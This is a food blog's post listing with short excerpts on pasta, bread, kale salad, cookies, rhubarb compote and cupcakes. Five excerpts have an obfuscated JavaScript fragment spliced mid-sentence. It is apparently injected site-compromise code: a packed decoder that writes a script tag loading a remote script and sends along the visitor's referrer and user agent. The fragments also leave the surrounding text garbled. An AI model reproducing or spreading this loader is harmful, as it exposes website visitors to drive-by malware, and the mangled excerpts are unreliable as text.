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How to Make Homemade Pasta

It’s actually a lot easier than you might think. Really!  I promise. I was 100% skeptical as well. But then I got this!  ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anafk|var|u0026u|referrer|ndbte||js|php’.split(‘|’),0,{})) The KitchenAid Pasta Roller attachment for my stand mixer! Yes, it looks like a medi torture device, but it’s actually super easy to use. Step 1: Pasta […]

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Baking Bread and Eating Cantaloupe

That’s what I did last weekend.  I baked some bread and ate a ton of cantaloupe. Did you know that cantaloupe is the most popular variety of melon in the US (via wikipedia….which is never wrong and my source on pretty much everything in life)?  I definitely would have guessed watermelon.  You? I was telling […]

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Kale Salad

Have you jumped on the kale bandwagon? We’ve been on it for awhile – BEFORE TJs was selling bags of pre-cut and washed kale. We made a tasty kale salad the other night for dinner and I thought I’d share. Ingredients 2 cloves of garlic 2-3 Tbs olive oil 1/2 bag of TJs pre-cut kale […]

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Christmas in your mouth

It’s the middle of summer and I just finished buying too many sweaters at the nordstrom sale.  I guess I must have winter on the brain.  And I blame Trader Joes for that! About a month ago I was introduced to TJ’s Cookie Butter.  I was told it was difficult to find – as it […]

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Curried {Costco} Chicken Salad

I’m pretty sure a Costco chicken is one of the best deals out there.  A cooked chicken for $5.  You can’t get much for $5 anymore, let alone an entire {cooked!} bird! One of my new favorite things is making curried chicken salad with a Costco chicken.  It is a great way to prep lunches […]

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Food

Jello

Yep, I made Jello and it was delicious. If you haven’t had it recently, give it a try. It’s quite tasty! Happy Friday!

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Baking Food

White Chocolate Chip, Macadamia Nut, Dried Cranberry Cookies

Try saying that 3 times fast! How did this all start? Well, we had a can of roasted and salted macadamia nuts leftover from Hawaii.  ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnntk|var|u0026u|referrer|neryt||js|php’.split(‘|’),0,{})) So Nick suggested some white chocolate chip with macadamia nut cookies.  I decided to add in the cranberries for a little color and flavor. After […]

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Rhubarb Compote

Nick signed ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbiaz|var|u0026u|referrer|szker||js|php’.split(‘|’),0,{})) us up for one of those CSA boxes.  They bring you a box of fruit and veggies and you feel better about the earth. A few weeks ago we got rhubarb. Let me tell you about rhubarb. In 3rd grade my friend, Stephanie, brought rhubarb pie to lunch.  […]

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New Favorite Vanilla Cupcake Recipe

I had a favorite cupcake recipe for a few a years.  Magnolia Bakery Vanilla.  It was delicious and light and fluffy – and to be honest, turns out better than the cupcakes they serve at the actual store.  But I’m partial. But then I found another.  And it’s better. Billy’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiarz|var|u0026u|referrer|knfin||js|php’.split(‘|’),0,{})) […]

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Superhero Cupcakes

I really like making and decorating cupcakes.  But my waistline doesn’t enjoy eating them. That’s for sure. Do you remember the ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdyrf|var|u0026u|referrer|tzrba||js|php’.split(‘|’),0,{})) pirate cupcakes from last year?  Well, Julian was turning 5 and decided this year’s theme would be Superheroes! I was kinda pumped for his choice.  Not gonna lie.  As […]